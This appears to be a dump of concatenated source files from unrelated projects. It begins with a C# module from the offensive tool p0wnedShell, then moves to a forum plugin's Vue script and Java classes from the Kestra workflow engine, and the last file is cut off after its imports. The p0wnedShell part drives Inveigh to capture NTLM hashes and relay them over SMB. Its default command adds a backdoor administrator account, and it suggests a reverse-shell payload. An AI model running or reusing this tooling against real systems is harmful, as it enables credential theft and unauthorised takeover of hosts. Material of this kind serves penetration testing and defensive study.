Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] Wrong choice, please try again!\n");
Console.ResetColor();
Console.Write("Enter choice: ");
}
else
{
break;
}
}
catch
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] Wrong choice, please try again!\n");
Console.ResetColor();
Console.Write("Enter choice: ");
}
}
switch (userInput)
{
case 1:
InvokeInveigh();
break;
case 2:
InveighRelay();
break;
case 3:
GetInveigh();
break;
case 4:
StopInveigh();
break;
default:
break;
}
}
public static string InveighCommand()
{
string Command = "net user BadAss FacePalm01 /add && net localgroup administrators BadAss /add";
return Command;
}
public static void InvokeInveigh()
{
string[] toPrint = { "* Start Invoke-Inveigh to capture NTLMv1/NTLMv2 Hashes. *" };
Program.PrintBanner(toPrint);
string Invoke_Inveigh = null;
string Priv = null;
if (Program.IsElevated)
{
Invoke_Inveigh = "Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTPS Y -Proxy Y -FileOutput Y";
Priv = "elevated";
}
else
{
Invoke_Inveigh = "Invoke-Inveigh -ConsoleOutput Y -NBNS Y -Proxy Y -FileOutput Y";
Priv = "non elevated";
}
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine("[+] Some Inveigh functions require (UAC) Elevated privileges.");
Console.WriteLine("[+] You're running p0wnedShell currently in "+ Priv +" mode.\n");
Console.ResetColor();
try
{
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine("Output Logging will be saved in ./Inveigh-Log.txt\n");
Console.ResetColor();
P0wnedListener.Execute(Invoke_Inveigh);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
Console.ReadLine();
Console.Write("[+] Do you want to stop Inveigh from running in the background? (y/n) > ");
Console.ForegroundColor = ConsoleColor.Green;
string input = Console.ReadLine();
switch (input.ToLower())
{
case "y":
string Stop_Inveigh = "Stop-Inveigh";
try
{
Console.WriteLine();
P0wnedListener.Execute(Stop_Inveigh);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
break;
case "n":
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine("\n[+] Use the Stop-Inveigh to manually stop it from running.");
Console.WriteLine("[+] Use Get-Inveigh to view Stored Inveigh data.");
break;
default:
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n [!] Wrong choice, please try again!");
Console.ResetColor();
return;
}
Console.ResetColor();
Console.WriteLine("\nPress Enter to Continue...");
Console.ReadLine();
return;
}
public static void InveighRelay()
{
string[] toPrint = { "* Use Inveigh-Relay for HTTP to SMB relaying. *" };
Program.PrintBanner(toPrint);
IPAddress TargetIP = IPAddress.Parse("1.1.1.1");
while (true)
{
try
{
Console.Write("[+] Enter the IP address of our target (e.g. 192.168.1.1): ");
Console.ForegroundColor = ConsoleColor.Green;
TargetIP = IPAddress.Parse(Console.ReadLine());
Console.ResetColor();
Console.WriteLine();
break;
}
catch
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] That's not a valid IP address, Please Try again");
Console.ResetColor();
}
}
string Command = InveighCommand();
Console.WriteLine("[+] Default command we execute on our Target:\n");
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine(Command);
Console.ResetColor();
Console.Write("\n[+] Do you want to change the default command? (y/n) > ");
string input = Console.ReadLine();
switch (input.ToLower())
{
case "y":
Console.WriteLine("\n[+] Enter command we want to execute on our Target.");
Console.WriteLine("[+] For example a Encoded PowerShell Reversed Shell Payload.");
Console.WriteLine("[+] We can create this with the Powercat module.\n");
//Change ReadLine Buffersize
Console.SetIn(new StreamReader(Console.OpenStandardInput(8192), Console.InputEncoding, false, 8192));
Command = Console.ReadLine();
break;
case "n":
break;
default:
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n [!] Wrong choice, please try again!");
Console.ResetColor();
return;
}
string Invoke_Inveigh = "Invoke-Inveigh -HTTP N -NBNS Y -ShowHelp N -StatusOutPut N";
string Inveigh_Relay = "Invoke-InveighRelay -ConsoleOutput Y -Target " + TargetIP + " -Proxy Y -Command \"" + Command + "\" -FileOutput Y";
try
{
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine("\nOutput Logging will be saved in ./Inveigh-Log.txt");
Console.ResetColor();
P0wnedListener.Execute(Invoke_Inveigh);
Console.WriteLine();
P0wnedListener.Execute(Inveigh_Relay);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
Console.ReadLine();
Console.Write("[+] Do you want to stop Inveigh from running in the background? (y/n) > ");
Console.ForegroundColor = ConsoleColor.Green;
input = Console.ReadLine();
switch (input.ToLower())
{
case "y":
string Stop_Inveigh = "Stop-Inveigh";
try
{
Console.WriteLine();
P0wnedListener.Execute(Stop_Inveigh);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
break;
case "n":
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine("\n[+] Use the Stop-Inveigh to manually stop it from running.");
Console.WriteLine("[+] Use Get-Inveigh to view Stored Inveigh data.");
break;
default:
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n [!] Wrong choice, please try again!");
Console.ResetColor();
return;
}
Console.ResetColor();
Console.WriteLine("\nPress Enter to Continue...");
Console.ReadLine();
return;
}
public static void GetInveigh()
{
string[] toPrint = { "* Get-Inveigh will get stored Inveigh data from memory. *" };
Program.PrintBanner(toPrint);
string Get_Inveigh = "Get-Inveigh";
try
{
P0wnedListener.Execute(Get_Inveigh);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
Console.WriteLine("\nPress Enter to Continue...");
Console.ReadLine();
return;
}
public static void StopInveigh()
{
string[] toPrint = { "* Stop-Inveigh will stop all running Inveigh functions. *" };
Program.PrintBanner(toPrint);
Console.WriteLine("[+] Please wait while stopping Inveigh (if running)...\n");
string Stop_Inveigh = "Stop-Inveigh";
try
{
P0wnedListener.Execute(Stop_Inveigh);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
Console.WriteLine("\nPress Enter to Continue...");
Console.ReadLine();
return;
}
}
} | Dviros/p0wnedShell |
<|start_filename|>Adaptbb/Assets/js/topics.view.js<|end_filename|>
Vue.config.delimiters = ['{@', '@}'];
new Vue({
el: '#topic',
data: {
message: '',
ajaxUrl: $('.ui.button.comment').attr('data-href'),
replies: []
},
methods: {
triggerReply: function() {
$('#reply-box').toggleClass('hidden');
document.getElementById('reply-box').scrollIntoView();
},
submitReply: function() {
var data = {
message: this.message,
_token: $('meta[name="csrf-token"]').attr('content')
};
var _this = this;
$.post(this.ajaxUrl, data, function(response) {
if (response.status) {
_this.message = '';
_this.replies.push(response.reply);
$('#reply-box').toggleClass('hidden');
toastr.success('Your reply has been made');
} else {
toastr.error('Could not create your reply. Please try again.');
}
}, 'json');
}
}
});
| adaptcms/plugin-adaptbb |
<|start_filename|>core/src/main/java/io/kestra/core/models/executions/TaskRunAttempt.java<|end_filename|>
package io.kestra.core.models.executions;
import lombok.Builder;
import lombok.Value;
import lombok.With;
import io.kestra.core.models.flows.State;
import java.util.List;
import java.util.Optional;
import javax.validation.constraints.NotNull;
@Value
@Builder
public class TaskRunAttempt {
@With
private List<AbstractMetricEntry<?>> metrics;
@NotNull
private State state;
public TaskRunAttempt withState(State.Type state) {
return new TaskRunAttempt(
this.metrics,
this.state.withState(state)
);
}
public Optional<AbstractMetricEntry<?>> findMetrics(String name) {
return this.metrics
.stream()
.filter(metricEntry -> metricEntry.getName().equals(name))
.findFirst();
}
}
<|start_filename|>webserver/src/main/java/io/kestra/webserver/utils/AutocompleteUtils.java<|end_filename|>
package io.kestra.webserver.utils;
import io.micronaut.http.exceptions.HttpStatusException;
import io.kestra.core.repositories.ArrayListTotal;
import java.util.ArrayList;
import java.util.List;
import java.util.stream.Collectors;
import java.util.stream.Stream;
public class AutocompleteUtils {
public static <T> List<T> from(List<T> ids, ArrayList<T> search) throws HttpStatusException {
return Stream
.concat(
ids.stream(),
search.stream()
)
.distinct()
.collect(Collectors.toList());
}
}
<|start_filename|>ui/src/stores/core.js<|end_filename|>
export default {
namespaced: true,
state: {
message: undefined,
error: undefined
},
actions: {
showMessage({commit}, message) {
commit("setMessage", message)
},
showError({commit}, error) {
commit("setError", error)
}
},
mutations: {
setMessage(state, message) {
state.message = message
},
setError(state, error) {
state.error = error
}
},
getters: {}
}
<|start_filename|>runner-memory/src/main/java/io/kestra/runner/memory/MemoryExecutor.java<|end_filename|>
package io.kestra.runner.memory;
import io.kestra.core.metrics.MetricRegistry;
import io.kestra.core.models.executions.Execution;
import io.kestra.core.models.executions.LogEntry;
import io.kestra.core.models.executions.TaskRun;
import io.kestra.core.models.flows.Flow;
import io.kestra.core.models.flows.State;
import io.kestra.core.queues.QueueFactoryInterface;
import io.kestra.core.queues.QueueInterface;
import io.kestra.core.repositories.FlowRepositoryInterface;
import io.kestra.core.runners.*;
import io.kestra.core.services.ConditionService;
import io.kestra.core.services.FlowService;
import io.kestra.core.services.TaskDefaultService;
import java.io.IOException;
import java.util.List;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
import java.util.stream.Collectors;
import javax.inject.Inject;
import javax.inject.Named;
import javax.inject.Singleton;
@Singleton
@MemoryQueueEnabled
public class MemoryExecutor extends AbstractExecutor {
private final FlowRepositoryInterface flowRepository;
private final QueueInterface<Execution> executionQueue;
private final QueueInterface<WorkerTask> workerTaskQueue;
private final QueueInterface<WorkerTaskResult> workerTaskResultQueue;
private final QueueInterface<LogEntry> logQueue;
private final FlowService flowService;
private final TaskDefaultService taskDefaultService;
private static final MemoryMultipleConditionStorage multipleConditionStorage = new MemoryMultipleConditionStorage();
private static final ConcurrentHashMap<String, ExecutionState> EXECUTIONS = new ConcurrentHashMap<>();
private static final ConcurrentHashMap<String, WorkerTaskExecution> WORKERTASKEXECUTIONS_WATCHER = new ConcurrentHashMap<>();
private List<Flow> allFlows;
@Inject
public MemoryExecutor(
RunContextFactory runContextFactory,
FlowRepositoryInterface flowRepository,
@Named(QueueFactoryInterface.EXECUTION_NAMED) QueueInterface<Execution> executionQueue,
@Named(QueueFactoryInterface.WORKERTASK_NAMED) QueueInterface<WorkerTask> workerTaskQueue,
@Named(QueueFactoryInterface.WORKERTASKRESULT_NAMED) QueueInterface<WorkerTaskResult> workerTaskResultQueue,
@Named(QueueFactoryInterface.WORKERTASKLOG_NAMED) QueueInterface<LogEntry> logQueue,
MetricRegistry metricRegistry,
FlowService flowService,
ConditionService conditionService,
TaskDefaultService taskDefaultService
) {
super(runContextFactory, metricRegistry, conditionService);
this.flowRepository = flowRepository;
this.executionQueue = executionQueue;
this.workerTaskQueue = workerTaskQueue;
this.workerTaskResultQueue = workerTaskResultQueue;
this.logQueue = logQueue;
this.flowService = flowService;
this.conditionService = conditionService;
this.taskDefaultService = taskDefaultService;
this.flowExecutorInterface = new MemoryFlowExecutor(this.flowRepository);
}
@Override
public void run() {
this.allFlows = this.flowRepository.findAll();
this.executionQueue.receive(MemoryExecutor.class, this::executionQueue);
this.workerTaskResultQueue.receive(MemoryExecutor.class, this::workerTaskResultQueue);
}
private void executionQueue(Execution message) {
if (message.getTaskRunList() == null || message.getTaskRunList().size() == 0 || message.getState().isCreated()) {
this.handleExecution(saveExecution(message));
}
}
private void handleExecution(ExecutionState state) {
synchronized (this) {
Flow flow = this.flowRepository.findByExecution(state.execution);
flow = taskDefaultService.injectDefaults(flow, state.execution);
Execution execution = state.execution;
Executor executor = new Executor(execution, null).withFlow(flow);
if (log.isDebugEnabled()) {
log(log, true, executor);
}
executor = this.process(executor);
if (executor.getNexts().size() > 0 && deduplicateNexts(execution, executor.getNexts())) {
executor.withExecution(
this.onNexts(executor.getFlow(), executor.getExecution(), executor.getNexts()),
"onNexts"
);
}
if (executor.getException() != null) {
handleFailedExecutionFromExecutor(executor, executor.getException());
} else if (executor.isExecutionUpdated()) {
toExecution(executor);
}
if (executor.getWorkerTasks().size() > 0){
List<WorkerTask> workerTasksDedup = executor.getWorkerTasks().stream()
.filter(workerTask -> this.deduplicateWorkerTask(execution, workerTask.getTaskRun()))
.collect(Collectors.toList());
// WorkerTask not flowable to workerTask
workerTasksDedup
.stream()
.filter(workerTask -> !workerTask.getTask().isFlowable())
.forEach(workerTaskQueue::emit);
// WorkerTask not flowable to workerTaskResult as Running
workerTasksDedup
.stream()
.filter(workerTask -> workerTask.getTask().isFlowable())
.map(workerTask -> new WorkerTaskResult(workerTask.withTaskRun(workerTask.getTaskRun().withState(State.Type.RUNNING))))
.forEach(workerTaskResultQueue::emit);
}
if (executor.getWorkerTaskResults().size() > 0) {
executor.getWorkerTaskResults()
.forEach(workerTaskResultQueue::emit);
}
if (executor.getWorkerTaskExecutions().size() > 0) {
executor.getWorkerTaskExecutions()
.forEach(workerTaskExecution -> {
WORKERTASKEXECUTIONS_WATCHER.put(workerTaskExecution.getExecution().getId(), workerTaskExecution);
executionQueue.emit(workerTaskExecution.getExecution());
});
}
// Listeners need the last emit
if (conditionService.isTerminatedWithListeners(flow, execution)) {
this.executionQueue.emit(execution);
}
// multiple condition
if (conditionService.isTerminatedWithListeners(flow, execution)) {
// multiple conditions storage
multipleConditionStorage.save(
flowService
.multipleFlowTrigger(allFlows.stream(), flow, execution, multipleConditionStorage)
);
// Flow Trigger
flowService
.flowTriggerExecution(allFlows.stream(), execution, multipleConditionStorage)
.forEach(this.executionQueue::emit);
// Trigger is done, remove matching multiple condition
flowService
.multipleFlowToDelete(allFlows.stream(), multipleConditionStorage)
.forEach(multipleConditionStorage::delete);
}
// worker task execution
if (conditionService.isTerminatedWithListeners(flow, execution) && WORKERTASKEXECUTIONS_WATCHER.containsKey(execution.getId())) {
WorkerTaskExecution workerTaskExecution = WORKERTASKEXECUTIONS_WATCHER.get(execution.getId());
Flow workerTaskFlow = this.flowRepository.findByExecution(execution);
WorkerTaskResult workerTaskResult = workerTaskExecution
.getTask()
.createWorkerTaskResult(runContextFactory, workerTaskExecution, workerTaskFlow, execution);
this.workerTaskResultQueue.emit(workerTaskResult);
WORKERTASKEXECUTIONS_WATCHER.remove(execution.getId());
}
}
}
private void handleFailedExecutionFromExecutor(Executor executor, Exception e) {
Execution.FailedExecutionWithLog failedExecutionWithLog = executor.getExecution().failedExecutionFromExecutor(e);
try {
failedExecutionWithLog.getLogs().forEach(logQueue::emit);
this.toExecution(executor.withExecution(failedExecutionWithLog.getExecution(), "exception"));
} catch (Exception ex) {
log.error("Failed to produce {}", e.getMessage(), ex);
}
}
private ExecutionState saveExecution(Execution execution) {
ExecutionState queued;
queued = EXECUTIONS.compute(execution.getId(), (s, executionState) -> {
if (executionState == null) {
return new ExecutionState(execution);
} else {
return executionState.from(execution);
}
});
return queued;
}
private void toExecution(Executor executor) {
if (log.isDebugEnabled()) {
log(log, false, executor);
}
// emit for other consumer than executor
this.executionQueue.emit(executor.getExecution());
// recursive search for other executor
this.handleExecution(saveExecution(executor.getExecution()));
// delete if ended
if (conditionService.isTerminatedWithListeners(executor.getFlow(), executor.getExecution())) {
EXECUTIONS.remove(executor.getExecution().getId());
}
}
private void workerTaskResultQueue(WorkerTaskResult message) {
synchronized (this) {
if (log.isDebugEnabled()) {
log(log, true, message);
}
metricRegistry
.counter(MetricRegistry.KESTRA_EXECUTOR_TASKRUN_ENDED_COUNT, metricRegistry.tags(message))
.increment();
metricRegistry
.timer(MetricRegistry.KESTRA_EXECUTOR_TASKRUN_ENDED_DURATION, metricRegistry.tags(message))
.record(message.getTaskRun().getState().getDuration());
// save WorkerTaskResult on current QueuedExecution
EXECUTIONS.compute(message.getTaskRun().getExecutionId(), (s, executionState) -> {
if (executionState == null) {
throw new IllegalStateException("Execution state don't exist for " + s + ", receive " + message);
}
if (executionState.execution.hasTaskRunJoinable(message.getTaskRun())) {
return executionState.from(message);
} else {
return executionState;
}
});
Flow flow = this.flowRepository.findByExecution(EXECUTIONS.get(message.getTaskRun().getExecutionId()).execution);
flow = taskDefaultService.injectDefaults(flow, EXECUTIONS.get(message.getTaskRun().getExecutionId()).execution);
this.toExecution(new Executor(EXECUTIONS.get(message.getTaskRun().getExecutionId()).execution, null).withFlow(flow));
}
}
private boolean deduplicateWorkerTask(Execution execution, TaskRun taskRun) {
ExecutionState executionState = EXECUTIONS.get(execution.getId());
String deduplicationKey = taskRun.getExecutionId() + "-" + taskRun.getId();
State.Type current = executionState.workerTaskDeduplication.get(deduplicationKey);
if (current == taskRun.getState().getCurrent()) {
log.trace("Duplicate WorkerTask on execution '{}' for taskRun '{}', value '{}, taskId '{}'", execution.getId(), taskRun.getId(), taskRun.getValue(), taskRun.getTaskId());
return false;
} else {
executionState.workerTaskDeduplication.put(deduplicationKey, taskRun.getState().getCurrent());
return true;
}
}
private boolean deduplicateNexts(Execution execution, List<TaskRun> taskRuns) {
ExecutionState executionState = EXECUTIONS.get(execution.getId());
return taskRuns
.stream()
.anyMatch(taskRun -> {
String deduplicationKey = taskRun.getParentTaskRunId() + "-" + taskRun.getTaskId() + "-" + taskRun.getValue();
if (executionState.childDeduplication.containsKey(deduplicationKey)) {
log.trace("Duplicate Nexts on execution '{}' with key '{}'", execution.getId(), deduplicationKey);
return false;
} else {
executionState.childDeduplication.put(deduplicationKey, taskRun.getId());
return true;
}
});
}
private static class ExecutionState {
private final Execution execution;
private Map<String, TaskRun> taskRuns = new ConcurrentHashMap<>();
private Map<String, State.Type> workerTaskDeduplication = new ConcurrentHashMap<>();
private Map<String, String> childDeduplication = new ConcurrentHashMap<>();
public ExecutionState(Execution execution) {
this.execution = execution;
}
public ExecutionState(ExecutionState executionState, Execution execution) {
this.execution = execution;
this.taskRuns = executionState.taskRuns;
this.workerTaskDeduplication = executionState.workerTaskDeduplication;
this.childDeduplication = executionState.childDeduplication;
}
private static String taskRunKey(TaskRun taskRun) {
return taskRun.getId() + "-" + (taskRun.getValue() == null ? "null" : taskRun.getValue());
}
public ExecutionState from(Execution execution) {
List<TaskRun> taskRuns = execution.getTaskRunList()
.stream()
.map(taskRun -> {
if (!this.taskRuns.containsKey(taskRunKey(taskRun))) {
return taskRun;
} else {
TaskRun stateTaskRun = this.taskRuns.get(taskRunKey(taskRun));
if (execution.hasTaskRunJoinable(stateTaskRun)) {
return stateTaskRun;
} else {
return taskRun;
}
}
})
.collect(Collectors.toList());
Execution newExecution = execution.withTaskRunList(taskRuns);
return new ExecutionState(this, newExecution);
}
public ExecutionState from(WorkerTaskResult workerTaskResult) {
this.taskRuns.compute(
taskRunKey(workerTaskResult.getTaskRun()),
(key, taskRun) -> workerTaskResult.getTaskRun()
);
return this;
}
}
@Override
public void close() throws IOException {
executionQueue.close();
workerTaskQueue.close();
workerTaskResultQueue.close();
logQueue.close();
}
}
<|start_filename|>runner-kafka/src/main/java/io/kestra/runner/kafka/services/KafkaConsumerService.java<|end_filename|>
package io.kestra.runner.kafka.services;
import io.micrometer.core.instrument.Tag;
import io.micrometer.core.instrument.binder.kafka.KafkaClientMetrics;
import io.micronaut.context.annotation.Value;
import lombok.extern.slf4j.Slf4j;
import org.apache.kafka.clients.CommonClientConfigs;
import org.apache.kafka.clients.consumer.*;
import org.apache.kafka.common.TopicPartition;
import org.apache.kafka.common.serialization.Serde;
import org.apache.kafka.common.serialization.StringDeserializer;
import io.kestra.core.metrics.MetricRegistry;
import io.kestra.runner.kafka.configs.ClientConfig;
import io.kestra.runner.kafka.configs.ConsumerDefaultsConfig;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import javax.inject.Inject;
import javax.inject.Singleton;
import java.time.Duration;
import java.util.*;
import java.util.stream.Collectors;
import java.util.stream.StreamSupport;
@Singleton
@Slf4j
public class KafkaConsumerService {
@Inject
private ClientConfig clientConfig;
@Inject
private ConsumerDefaultsConfig consumerConfig;
@Inject
private KafkaConfigService kafkaConfigService;
@Inject
private MetricRegistry metricRegistry;
@Value("${kestra.server.metrics.kafka.consumer:true}")
protected Boolean metricsEnabled;
public <V> org.apache.kafka.clients.consumer.Consumer<String, V> of(Class<?> clientId, Serde<V> serde, Class<?> group) {
return of(clientId, serde, null, group);
}
public <V> org.apache.kafka.clients.consumer.Consumer<String, V> of(
Class<?> clientId,
Serde<V> serde,
ConsumerRebalanceListener consumerRebalanceListener,
Class<?> group
) {
Properties props = new Properties();
props.putAll(clientConfig.getProperties());
if (this.consumerConfig.getProperties() != null) {
props.putAll(consumerConfig.getProperties());
}
props.put(CommonClientConfigs.CLIENT_ID_CONFIG, clientId.getName());
if (group != null) {
props.put(ConsumerConfig.GROUP_ID_CONFIG, kafkaConfigService.getConsumerGroupName(group));
} else {
props.remove(ConsumerConfig.AUTO_OFFSET_RESET_CONFIG);
}
return new Consumer<>(props, serde, metricsEnabled ? metricRegistry : null, consumerRebalanceListener);
}
public static <T> Map<TopicPartition, OffsetAndMetadata> maxOffsets(ConsumerRecords<String, T> records) {
return KafkaConsumerService.maxOffsets(
StreamSupport
.stream(records.spliterator(), false)
.collect(Collectors.toList())
);
}
public static <T> Map<TopicPartition, OffsetAndMetadata> maxOffsets(List<ConsumerRecord<String, T>> records) {
Map<TopicPartition, OffsetAndMetadata> results = new HashMap<>();
for (ConsumerRecord<String, T> record: records) {
TopicPartition topicPartition = new TopicPartition(record.topic(), record.partition());
results.compute(topicPartition, (current, offsetAndMetadata) -> {
if (offsetAndMetadata == null || record.offset() + 1 > offsetAndMetadata.offset()) {
return new OffsetAndMetadata(record.offset() + 1);
} else {
return offsetAndMetadata;
}
});
}
return results;
}
public static class Consumer<V> extends KafkaConsumer<String, V> {
protected Logger logger = LoggerFactory.getLogger(KafkaConsumerService.class);
private KafkaClientMetrics metrics;
private final ConsumerRebalanceListener consumerRebalanceListener;
private Consumer(Properties properties, Serde<V> valueSerde, MetricRegistry meterRegistry, ConsumerRebalanceListener consumerRebalanceListener) {
super(properties, new StringDeserializer(), valueSerde.deserializer());
if (meterRegistry != null) {
metrics = new KafkaClientMetrics(
this,
List.of(
Tag.of("client_type", "consumer"),
Tag.of("client_class_id", (String) properties.get(CommonClientConfigs.CLIENT_ID_CONFIG))
)
);
meterRegistry.bind(metrics);
}
this.consumerRebalanceListener = consumerRebalanceListener;
}
@Override
public void subscribe(Collection<String> topics) {
super.subscribe(topics, new ConsumerRebalanceListener() {
@Override
public void onPartitionsRevoked(Collection<TopicPartition> partitions) {
if (consumerRebalanceListener != null) {
consumerRebalanceListener.onPartitionsRevoked(partitions);
}
if (log.isTraceEnabled()) {
partitions.forEach(topicPartition -> logger.trace(
"Revoke partitions for topic {}, partition {}",
topicPartition.topic(),
topicPartition.partition()
));
}
}
@Override
public void onPartitionsAssigned(Collection<TopicPartition> partitions) {
if (consumerRebalanceListener != null) {
consumerRebalanceListener.onPartitionsAssigned(partitions);
}
if (log.isTraceEnabled()) {
partitions.forEach(topicPartition -> logger.trace(
"Switching partitions for topic {}, partition {}",
topicPartition.topic(),
topicPartition.partition()
));
}
}
});
}
@Override
public void close() {
if (metrics != null) {
metrics.close();
}
super.close();
}
@Override
public void close(Duration timeout) {
if (metrics != null) {
metrics.close();
}
super.close(timeout);
}
}
}
<|start_filename|>runner-kafka/src/main/java/io/kestra/runner/kafka/KafkaFlowExecutor.java<|end_filename|>
package io.kestra.runner.kafka;
import com.google.common.collect.Streams;
import io.kestra.core.models.flows.Flow;
import io.kestra.core.runners.FlowExecutorInterface;
import io.kestra.core.services.FlowService;
import io.micronaut.context.ApplicationContext;
import lombok.extern.slf4j.Slf4j;
import org.apache.kafka.streams.state.KeyValueIterator;
import org.apache.kafka.streams.state.ReadOnlyKeyValueStore;
import java.util.Optional;
@Slf4j
public class KafkaFlowExecutor implements FlowExecutorInterface {
private final FlowService flowService;
private final ReadOnlyKeyValueStore<String, Flow> store;
public KafkaFlowExecutor(ReadOnlyKeyValueStore<String, Flow> store, ApplicationContext applicationContext) {
this.store = store;
this.flowService = applicationContext.getBean(FlowService.class);
}
@SuppressWarnings("UnstableApiUsage")
@Override
public Flow findById(String namespace, String id, Optional<Integer> revision, String fromNamespace, String fromId) {
if (revision.isPresent()) {
return this.store.get(Flow.uid(namespace, id, revision));
} else {
try (KeyValueIterator<String, Flow> flows = this.store.all()) {
return flowService.keepLastVersion(
Streams.stream(flows)
.map(kv -> kv.value),
namespace,
id
);
}
}
}
}
<|start_filename|>core/src/main/java/io/kestra/core/utils/TestsUtils.java<|end_filename|>
package io.kestra.core.utils;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.google.common.base.Charsets;
import com.google.common.io.Files;
import io.kestra.core.models.conditions.ConditionContext;
import io.kestra.core.models.executions.Execution;
import io.kestra.core.models.executions.LogEntry;
import io.kestra.core.models.executions.TaskRun;
import io.kestra.core.models.flows.Flow;
import io.kestra.core.models.flows.State;
import io.kestra.core.models.tasks.Task;
import io.kestra.core.models.triggers.AbstractTrigger;
import io.kestra.core.models.triggers.TriggerContext;
import io.kestra.core.repositories.LocalFlowRepositoryLoader;
import io.kestra.core.runners.RunContext;
import io.kestra.core.runners.RunContextFactory;
import io.kestra.core.serializers.JacksonMapper;
import java.io.File;
import java.io.IOException;
import java.net.URISyntaxException;
import java.net.URL;
import java.time.ZonedDateTime;
import java.util.AbstractMap;
import java.util.List;
import java.util.Map;
import java.util.Objects;
import java.util.stream.Collectors;
abstract public class TestsUtils {
private static final ObjectMapper mapper = JacksonMapper.ofYaml();
public static <T> T map(String path, Class<T> cls) throws IOException {
URL resource = TestsUtils.class.getClassLoader().getResource(path);
assert resource != null;
String read = Files.asCharSource(new File(resource.getFile()), Charsets.UTF_8).read();
return mapper.readValue(read, cls);
}
public static void loads(LocalFlowRepositoryLoader repositoryLoader) throws IOException, URISyntaxException {
TestsUtils.loads(repositoryLoader, Objects.requireNonNull(TestsUtils.class.getClassLoader().getResource("flows/valids")));
}
public static void loads(LocalFlowRepositoryLoader repositoryLoader, URL url) throws IOException, URISyntaxException {
repositoryLoader.load(url);
}
public static List<LogEntry> filterLogs(List<LogEntry> logs, TaskRun taskRun) {
return logs
.stream()
.filter(r -> r.getTaskRunId().equals(taskRun.getId()))
.collect(Collectors.toList());
}
public static Flow mockFlow() {
return TestsUtils.mockFlow(Thread.currentThread().getStackTrace()[2]);
}
private static Flow mockFlow(StackTraceElement caller) {
return Flow.builder()
.namespace(caller.getClassName())
.id(caller.getMethodName())
.revision(1)
.build();
}
public static Execution mockExecution(Flow flow, Map<String, Object> inputs) {
return TestsUtils.mockExecution(Thread.currentThread().getStackTrace()[2], flow, inputs);
}
private static Execution mockExecution(StackTraceElement caller, Flow flow, Map<String, Object> inputs) {
return Execution.builder()
.id(IdUtils.create())
.namespace(flow.getNamespace())
.flowId(flow.getId())
.inputs(inputs)
.state(new State())
.build()
.withState(State.Type.RUNNING);
}
public static TaskRun mockTaskRun(Flow flow, Execution execution, Task task) {
return TestsUtils.mockTaskRun(Thread.currentThread().getStackTrace()[2], execution, task);
}
private static TaskRun mockTaskRun(StackTraceElement caller, Execution execution, Task task) {
return TaskRun.builder()
.id(IdUtils.create())
.executionId(execution.getId())
.namespace(execution.getNamespace())
.flowId(execution.getFlowId())
.taskId(task.getId())
.state(new State())
.build()
.withState(State.Type.RUNNING);
}
public static Map.Entry<ConditionContext, TriggerContext> mockTrigger(RunContextFactory runContextFactory, AbstractTrigger trigger) {
StackTraceElement caller = Thread.currentThread().getStackTrace()[2];
Flow flow = TestsUtils.mockFlow(caller);
TriggerContext triggerContext = TriggerContext.builder()
.triggerId(trigger.getId())
.flowId(flow.getId())
.namespace(flow.getNamespace())
.flowRevision(flow.getRevision())
.date(ZonedDateTime.now())
.build();
return new AbstractMap.SimpleEntry<>(
ConditionContext.builder()
.runContext(runContextFactory.of(flow, trigger))
.flow(flow)
.build(),
triggerContext
);
}
public static RunContext mockRunContext(RunContextFactory runContextFactory, Task task, Map<String, Object> inputs) {
StackTraceElement caller = Thread.currentThread().getStackTrace()[2];
Flow flow = TestsUtils.mockFlow(caller);
Execution execution = TestsUtils.mockExecution(caller, flow, inputs);
TaskRun taskRun = TestsUtils.mockTaskRun(caller, execution, task);
return runContextFactory.of(flow, task, execution, taskRun);
}
}
<|start_filename|>runner-kafka/src/main/java/io/kestra/runner/kafka/KafkaScheduler.java<|end_filename|>
package io.kestra.runner.kafka;
import com.google.common.collect.ImmutableMap;
import io.kestra.core.models.executions.Execution;
import io.kestra.core.models.flows.Flow;
import io.kestra.core.models.triggers.Trigger;
import io.kestra.core.queues.QueueFactoryInterface;
import io.kestra.core.queues.QueueInterface;
import io.kestra.core.queues.QueueService;
import io.kestra.core.runners.Executor;
import io.kestra.core.schedulers.AbstractScheduler;
import io.kestra.core.schedulers.DefaultScheduler;
import io.kestra.core.schedulers.SchedulerExecutionWithTrigger;
import io.kestra.core.services.ConditionService;
import io.kestra.core.services.FlowListenersInterface;
import io.kestra.core.utils.IdUtils;
import io.kestra.runner.kafka.configs.TopicsConfig;
import io.kestra.runner.kafka.serializers.JsonSerde;
import io.kestra.runner.kafka.services.*;
import io.kestra.runner.kafka.streams.GlobalStateLockProcessor;
import io.kestra.runner.kafka.streams.GlobalStateProcessor;
import io.micronaut.context.ApplicationContext;
import io.micronaut.context.annotation.Replaces;
import io.micronaut.inject.qualifiers.Qualifiers;
import lombok.extern.slf4j.Slf4j;
import org.apache.kafka.clients.producer.KafkaProducer;
import org.apache.kafka.clients.producer.ProducerRecord;
import org.apache.kafka.common.serialization.Serdes;
import org.apache.kafka.streams.KafkaStreams;
import org.apache.kafka.streams.StoreQueryParameters;
import org.apache.kafka.streams.StreamsBuilder;
import org.apache.kafka.streams.Topology;
import org.apache.kafka.streams.kstream.*;
import org.apache.kafka.streams.state.QueryableStoreTypes;
import org.apache.kafka.streams.state.Stores;
import java.time.Duration;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
import javax.inject.Singleton;
